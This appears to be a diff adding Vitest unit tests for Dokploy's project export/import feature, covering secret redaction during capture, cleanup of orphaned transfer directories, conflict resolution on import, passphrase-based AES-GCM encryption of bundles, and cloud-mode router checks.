const fakeDb = (): TransferDb =>
({
query: {
projects: {
findFirst: async () => projectTree,
},
environments: {
findFirst: async () => undefined,
},
applications: {
findMany: async () => [application1, application2],
findFirst: async () => undefined,
},
schedules: {
findMany: async () => [],
},
volumeBackups: {
findMany: async () => [],
},
},
}) as any;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const noopOpts = {
detectRequirements: () => [],
detectWarnings: () => [],
};
describe("capture", () => {
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
const db = {
query: {
projects: { findFirst: async () => undefined },
environments: { findFirst: async () => undefined },
},
} as any as TransferDb;
await expect(
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
).rejects.toThrow(CaptureNotFoundError);
});
it("filters by environmentIds and serviceIds", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{
...baseScope,
environmentIds: ["env-1"],
serviceIds: ["app-1", "pg-1"],
},
noopOpts,
);
expect(result.resources.environments).toHaveLength(1);
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
expect(result.resources.services).toHaveLength(2);
const ids = result.resources.services
.map((s) => (s.applicationId ?? s.postgresId) as string)
.sort();
expect(ids).toEqual(["app-1", "pg-1"]);
});
it("never leaks NEVER_EXPORT_FIELDS", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
for (const forbidden of [
"server-1",
"gh-1",
"webhook-token-1",
"2024-01-01T00:00:00.000Z",
]) {
expect(serialized).not.toContain(forbidden);
}
});
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
expect(serialized).not.toContain("hunter2");
expect(serialized).not.toContain("abc123");
expect(serialized).not.toContain("supersecret");
expect(serialized).not.toContain("basicauthpass");
expect(serialized).not.toContain("server { listen 80; }");
expect(serialized).not.toContain("realdbpassword");
expect(serialized).not.toContain("metasecret");
const pg1Resource = result.resources.services.find(
(s) => s.postgresId === "pg-1",
) as Record<string, unknown>;
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
expect(
result.secretsPlain.get(
String(pg1Resource.databasePassword).slice("$secret:".length),
),
).toBe("realdbpassword");
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toMatch(
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
);
const dbPassId = (app1Resource.env as string).match(
/DB_PASS=\$secret:([^\n]+)/,
)?.[1];
expect(dbPassId).toBeDefined();
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
const mounts = app1Resource.mounts as Record<string, unknown>[];
const fileMount = mounts.find((m) => m.mountId === "mount-1");
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
const bindMount = mounts.find((m) => m.mountId === "mount-2");
expect(bindMount?.content).toBeNull();
const security = app1Resource.security as Record<string, unknown>[];
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
});
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeEnvSecrets: false },
noopOpts,
);
expect(result.secretsPlain.size).toBe(0);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toBe(
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
);
});
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
const db = {
query: {
...(fakeDb() as any).query,
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
config: { token: "s.super-secret-vault-token" },
assignments: [
{ projectId: "old-project", environmentIds: ["old-env"] },
],
}),
},
},
} as any as TransferDb;
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{ ...baseScope, shared: { vaultProvider: "value" } },
{
detectRequirements: () => [
{
kind: "vault",
originalId: "vault-1",
configIncluded: true,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
},
],
detectWarnings: () => [],
},
);
const serialized = JSON.stringify(result.resources.shared);
expect(serialized).not.toContain("s.super-secret-vault-token");
expect(serialized).not.toContain("old-project");
const [vaultRow] = result.resources.shared.vault ?? [];
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
const secretId = String(vaultRow?.config).slice("$secret:".length);
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
token: "s.super-secret-vault-token",
});
expect(vaultRow?.assignments).toBeUndefined();
});
it("builds an inventory reflecting the filtered scope", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, environmentIds: ["env-1"] },
noopOpts,
);
expect(result.inventory.environments).toHaveLength(1);
expect(result.inventory.environments[0]).toMatchObject({
id: "env-1",
services: { application: 1, postgres: 1, mysql: 1 },
});
expect(result.inventory.totals.domain).toBe(1);
expect(result.inventory.totals.mount).toBe(2);
});
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeBackupSchedules: false },
noopOpts,
);
const postgresRow = result.resources.services.find(
(service) => service.kind === "postgres",
);
expect(postgresRow?.backups).toEqual([]);
expect(result.inventory.totals.backup).toBeUndefined();
});
});
describe("capture project tags", () => {
it("flattens projectTags into resources.project.tags", async () => {
const db = fakeDb();
(db.query.projects as any).findFirst = async () => ({
...projectTree,
projectTags: [
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
{ tag: { tagId: "t-2", name: "billing", color: null } },
],
});
const result = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
expect(result.resources.project.tags).toEqual([
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
]);
expect(result.resources.project).not.toHaveProperty("projectTags");
});
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
const db = fakeDb();
(db.query as any).dnsProvider = {
findMany: async () => [
{ dnsProviderId: "dns-1", name: "cf", config: {} },
],
};
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{
...baseScope,
includeEnvSecrets: false,
shared: { dnsProvider: "value", vaultProvider: "value" },
},
noopOpts,
);
expect(result.resources.shared.dnsProvider).toBeUndefined();
});
});
@@ -0,0 +1,134 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
createExportJob,
createImportJob,
sweepOrphanedTransferDirectories,
sweepRemoteTransferDirectories,
} from "@dokploy/server/services/project-export-import";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsyncRemote: vi.fn() };
});
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
const makeStaleDir = async (name: string) => {
const dir = join(root, name);
await mkdir(dir, { recursive: true });
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
await utimes(dir, staleTime, staleTime);
return dir;
};
describe("sweepOrphanedTransferDirectories", () => {
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
const dir = await makeStaleDir("orphaned-export-1");
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(false);
});
it("leaves a fresh directory alone regardless of job state", async () => {
const dir = join(root, "fresh-export-1");
await mkdir(dir, { recursive: true });
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
const exportId = "export-still-running-1";
createExportJob(exportId, "user-1", "org-1");
const dir = await makeStaleDir(exportId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
const importId = "import-still-running-1";
createImportJob(importId, "user-1", "org-1");
const dir = await makeStaleDir(importId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
});
describe("sweepRemoteTransferDirectories", () => {
it("removes every workspace and bundle on the server that has no live job", async () => {
createExportJob("remote-live-1", "user-1", "org-1");
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
stdout: command.startsWith("find ")
? [
"remote-orphan-1",
"remote-orphan-1.dokploy.tar.gz",
"remote-live-1",
"remote-live-1.dokploy.tar.gz",
]
.map((name) => `/etc/dokploy/transfer/${name}\n`)
.join("")
: "",
stderr: "",
}));
await sweepRemoteTransferDirectories(
["server-1"],
1_700_000_000_000,
() =>
({
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
}) as any,
);
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
"! -newermt @1700000000",
);
const removed = vi
.mocked(execAsyncRemote)
.mock.calls.map(([, command]) => command)
.filter((command) => command.startsWith("rm "));
expect(removed).toEqual([
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
]);
});
it("keeps going when one server is unreachable", async () => {
vi.mocked(execAsyncRemote)
.mockReset()
.mockRejectedValueOnce(new Error("ssh down"))
.mockResolvedValue({ stdout: "", stderr: "" });
await expect(
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
).resolves.toBeUndefined();
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
"down",
"up",
]);
});
});
@@ -0,0 +1,265 @@
import type {
Conflict,
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
resolveConflicts,
resolvedProjectName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const conflict = (
kind: Conflict["kind"],
value: string,
options: Conflict["options"],
): Conflict => ({
kind,
value,
existingId: `existing-${kind}`,
usedBy: [],
options,
});
describe("resolveConflicts", () => {
const conflicts = [
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("projectName", "shop", ["rename"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
];
it("applies safe defaults per kind", () => {
expect(resolveConflicts(conflicts, undefined)).toEqual({
"domain:api.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"projectName:shop": { action: "rename", value: "shop (imported)" },
"network:shared-net": { action: "keep" },
});
});
it("keeps valid user choices and falls back for invalid ones", () => {
const resolved = resolveConflicts(conflicts, {
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
"port:8080": { action: "rename", value: "not-a-port" },
"projectName:shop": { action: "skip" },
"network:shared-net": { action: "rename", value: "shared-net-2" },
});
expect(resolved["domain:api.example.com"]).toEqual({
action: "rename",
value: "api2.example.com",
});
expect(resolved["port:8080"]).toEqual({ action: "skip" });
expect(resolved["projectName:shop"]).toEqual({
action: "rename",
value: "shop (imported)",
});
expect(resolved["network:shared-net"]).toEqual({
action: "rename",
value: "shared-net-2",
});
});
it("resolves the project name from the rename choice", () => {
expect(
resolvedProjectName(
{ kind: "newProject", name: "shop" },
{ "projectName:shop": { action: "rename", value: " shop-2 " } },
),
).toBe("shop-2");
expect(resolvedProjectName({ kind: "newProject", name: "shop" }, {})).toBe(
"shop",
);
});
});
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-src", name: "shop", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
networkIds: ["net-src"],
domains: [
{ domainId: "dom-1", host: "api.example.com", enabled: true },
{ domainId: "dom-2", host: "admin.example.com", enabled: true },
],
ports: [
{ portId: "p-1", publishedPort: 8080, targetPort: 80 },
{ portId: "p-2", publishedPort: 9090, targetPort: 90 },
{ portId: "p-3", publishedPort: 7070, targetPort: 70 },
],
},
],
shared: {
network: [{ networkId: "net-src", name: "shared-net", serverId: null }],
},
},
requirements: [
{
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [],
name: "shared-net",
},
],
warnings: [],
dumps: [],
};
const runApply = async (
conflictResolutions: Plan["conflictResolutions"],
networkResolution: "keep" | "rename" | "skip",
) => {
const { applications, domains, environments, network, ports, projects } =
await import("@dokploy/server/db/schema");
const inserted = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const writeDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row: Record<string, unknown> = {
...values,
id: `row-${++counter}`,
};
if (table === projects) row.projectId = "project-new";
if (table === environments) row.environmentId = "env-new";
if (table === network) row.networkId = "net-new";
if (table === applications) row.applicationId = "app-new";
if (table === domains) row.domainId = `dom-new-${counter}`;
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
const plan: Plan = {
target: { kind: "newProject", name: "shop" },
resolutions: {
"network:net-src": {
requirementKey: "network:net-src",
action: "create",
},
},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [
conflict("projectName", "shop", ["rename"]),
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("domain", "admin.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("port", "9090", ["rename", "skip", "keep"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
],
conflictResolutions: {
...conflictResolutions,
"network:shared-net":
networkResolution === "rename"
? { action: "rename", value: "shared-net-2" }
: { action: networkResolution },
},
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 2, dumps: 0 },
};
const result = await apply(writeDb, snapshot, plan, new Map(), "org-dest");
return {
result,
project: inserted.get(projects)?.[0],
domains: inserted.get(domains) ?? [],
ports: inserted.get(ports) ?? [],
networks: inserted.get(network) ?? [],
application: inserted.get(applications)?.[0],
};
};
describe("apply consumes conflict resolutions", () => {
it("renames the project and domains, drops skipped ports, renames a port, reuses the existing network", async () => {
const out = await runApply(
{
"projectName:shop": { action: "rename", value: "shop-2" },
"domain:api.example.com": {
action: "rename",
value: "api-2.example.com",
},
"domain:admin.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"port:9090": { action: "rename", value: "9091" },
},
"keep",
);
expect(out.project?.name).toBe("shop-2");
expect(out.domains.map((d) => [d.host, d.enabled])).toEqual([
["api-2.example.com", true],
["admin.example.com", false],
]);
expect(out.ports.map((p) => p.publishedPort)).toEqual([9091, 7070]);
expect(out.networks).toEqual([]);
expect(out.application?.networkIds).toEqual(["existing-network"]);
expect(out.result.idMap.network).toEqual({ "net-src": "existing-network" });
});
it("creates the network under a new name when renamed, and drops it when skipped", async () => {
const renamed = await runApply({}, "rename");
expect(renamed.networks.map((n) => n.name)).toEqual(["shared-net-2"]);
expect(renamed.application?.networkIds).toEqual(["net-new"]);
const skipped = await runApply({}, "skip");
expect(skipped.networks).toEqual([]);
expect(skipped.application?.networkIds).toEqual([]);
expect(
skipped.result.warnings.some((w) => w.code === "NETWORK_UNRESOLVED"),
).toBe(true);
});
});
@@ -0,0 +1,183 @@
import {
createReadStream,
createWriteStream,
mkdtempSync,
readFileSync,
rmSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { Readable, Writable } from "node:stream";
import { pipeline } from "node:stream/promises";
import {
decryptField,
deriveKeys,
encryptField,
gcmDecryptStream,
gcmEncryptStream,
makeKeyCheck,
TransferCryptoError,
verifyKeyCheck,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("deriveKeys", () => {
it("rejects a passphrase shorter than 12 characters", async () => {
await expect(deriveKeys("short")).rejects.toThrow();
});
it("derives the same keys from the same passphrase and salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(true);
expect(second.salt).toBe(first.salt);
});
it("derives different keys for a different salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("correct-horse-battery-staple");
expect(second.salt).not.toBe(first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
it("derives different keys for a different passphrase with the same salt", async () => {
const first = await deriveKeys("correct-horse-battery-staple");
const second = await deriveKeys("another-passphrase-entirely", first.salt);
expect(second.kEnc.equals(first.kEnc)).toBe(false);
});
});
describe("encryptField / decryptField", () => {
it("round-trips a plaintext value", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(decryptField(kEnc, "secret-1", entry)).toBe("hunter2");
});
it("fails when the AAD (id) differs from the one used to encrypt", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(kEnc, "secret-2", entry)).toThrow(
TransferCryptoError,
);
});
it("fails when decrypting with a different key", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const { kEnc: otherKEnc } = await deriveKeys("a-different-passphrase!!");
const entry = encryptField(kEnc, "secret-1", "hunter2");
expect(() => decryptField(otherKEnc, "secret-1", entry)).toThrow(
TransferCryptoError,
);
});
});
describe("makeKeyCheck / verifyKeyCheck", () => {
it("verifies with the correct passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: reDerived } = await deriveKeys(
"correct-horse-battery-staple",
salt,
);
expect(verifyKeyCheck(reDerived, keyCheck)).toBe(true);
});
it("fails with the wrong passphrase", async () => {
const { kEnc, salt } = await deriveKeys("correct-horse-battery-staple");
const keyCheck = makeKeyCheck(kEnc);
const { kEnc: wrongKEnc } = await deriveKeys(
"totally-wrong-passphrase",
salt,
);
expect(verifyKeyCheck(wrongKEnc, keyCheck)).toBe(false);
});
});
describe("gcmDecryptStream edge cases", () => {
it("handles an empty payload, one-byte chunks and a truncated ciphertext", async () => {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const encrypt = async (bytes: Buffer) => {
const chunks: Buffer[] = [];
await pipeline(
Readable.from([bytes]),
gcmEncryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const decrypt = async (bytes: Buffer, chunkSize: number) => {
const chunks: Buffer[] = [];
const pieces: Buffer[] = [];
for (let i = 0; i < bytes.length; i += chunkSize) {
pieces.push(bytes.subarray(i, i + chunkSize));
}
await pipeline(
Readable.from(pieces),
gcmDecryptStream(kEnc),
new Writable({
write(chunk, _encoding, callback) {
chunks.push(chunk);
callback();
},
}),
);
return Buffer.concat(chunks);
};
const empty = await encrypt(Buffer.alloc(0));
expect(empty.length).toBe(12 + 16);
expect((await decrypt(empty, 1)).length).toBe(0);
const small = await encrypt(Buffer.from("hello world, 21 bytes"));
expect((await decrypt(small, 1)).toString()).toBe("hello world, 21 bytes");
await expect(decrypt(small.subarray(0, 20), 1)).rejects.toThrow(
TransferCryptoError,
);
});
});
describe("gcmEncryptStream / gcmDecryptStream", () => {
it("round-trips a file and rejects a flipped byte", async () => {
const dir = mkdtempSync(join(tmpdir(), "transfer-crypto-file-"));
try {
const { kEnc } = await deriveKeys("correct-horse-battery-staple");
const plain = join(dir, "plain.bin");
const enc = join(dir, "plain.enc");
const out = join(dir, "plain.out");
writeFileSync(plain, Buffer.alloc(100_000, 7));
await pipeline(
createReadStream(plain),
gcmEncryptStream(kEnc),
createWriteStream(enc),
);
expect(readFileSync(enc).length).toBe(100_000 + 12 + 16);
await pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
);
expect(readFileSync(out).equals(readFileSync(plain))).toBe(true);
const bytes = readFileSync(enc);
bytes[100] = (bytes[100] ?? 0) ^ 0xff;
writeFileSync(enc, bytes);
await expect(
pipeline(
createReadStream(enc),
gcmDecryptStream(kEnc),
createWriteStream(out),
),
).rejects.toThrow(TransferCryptoError);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
@@ -0,0 +1,236 @@
import {
buildBundleObjectKey,
deriveKeys,
EXPORTS_DIRECTORY,
makeKeyCheck,
slugifyProjectName,
verifyBundlePassphrase,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsync: vi.fn(actual.execAsync) };
});
describe("slugifyProjectName", () => {
it("produces a lowercase, URL-safe slug", () => {
expect(slugifyProjectName("My Cool Project!")).toBe("my-cool-project");
});
it("falls back to a generic name for an empty/unslugifiable input", () => {
expect(slugifyProjectName("")).toBe("project");
});
});
describe("buildBundleObjectKey", () => {
it("always stores bundles under the fixed exports directory", () => {
const key = buildBundleObjectKey("my-project", "2024-01-01T00:00:00.000Z");
expect(key).toBe(
`${EXPORTS_DIRECTORY}/my-project-2024-01-01T00-00-00-000Z.dokploy.tar.gz`,
);
expect(EXPORTS_DIRECTORY).toBe("dokploy-export-import");
});
});
describe("verifyBundlePassphrase", () => {
it("checks the keyCheck of a manifest read from the head of the object", async () => {
const { salt, kEnc } = await deriveKeys("correct-horse-battery-staple");
const manifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt,
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: makeKeyCheck(kEnc),
},
counts: {},
};
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
const destination = { bucket: "b", endpoint: "e", region: "r" } as any;
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: true, valid: true });
vi.mocked(execAsync).mockResolvedValueOnce({
stdout: JSON.stringify(manifest),
stderr: "",
});
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"wrong-passphrase-here",
),
).resolves.toMatchObject({ checked: true, valid: false });
vi.mocked(execAsync).mockResolvedValueOnce({ stdout: "", stderr: "" });
await expect(
verifyBundlePassphrase(
destination,
"x.dokploy.tar.gz",
"correct-horse-battery-staple",
),
).resolves.toMatchObject({ checked: false });
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain("rclone cat");
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"tar -xzOf - manifest.json ",
);
expect(vi.mocked(execAsync).mock.calls[0]?.[0]).toContain(
"--count 4194304",
);
});
});
describe("projectExportImportRouter.exportStart on IS_CLOUD", () => {
it("rejects deliver: download (or omitted) with BAD_REQUEST", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "a@b.com" },
} as any);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "correct-horse-battery-staple",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.resetModules();
}, 30_000);
});
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
it("skips projects with no remote server instead of failing the whole batch", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
vi.doMock("@dokploy/server/db", () => ({
db: {
query: {
projects: {
findMany: async () => [
{ projectId: "with-server", name: "With server" },
{ projectId: "empty", name: "Empty" },
],
},
},
},
}));
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(async () => ({})),
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
if (projectId === "with-server") return "server-1";
throw new TRPCError({
code: "BAD_REQUEST",
message: "none of the selected services runs on a remote server",
});
}),
runExportBatch,
};
},
);
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-org-cloud", email: "a@b.com" },
} as any);
const result = await caller.exportOrganizationStart({
destinationId: "dest-1",
passphrase: "correct-horse-battery-staple",
projectIds: ["with-server", "empty", "with-server"],
});
expect(result.exports).toEqual([
{ projectId: "with-server", name: "With server", exportId: "export-1" },
]);
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
expect(runExportBatch).toHaveBeenCalledWith(
[expect.objectContaining({ buildServerId: "server-1" })],
expect.anything(),
);
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/db");
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.doUnmock("../../server/api/utils/audit");
vi.resetModules();
}, 30_000);
});
@@ -0,0 +1,393 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { gzipSync } from "node:zlib";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
inspectBundle,
serialize,
TransferCryptoError,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
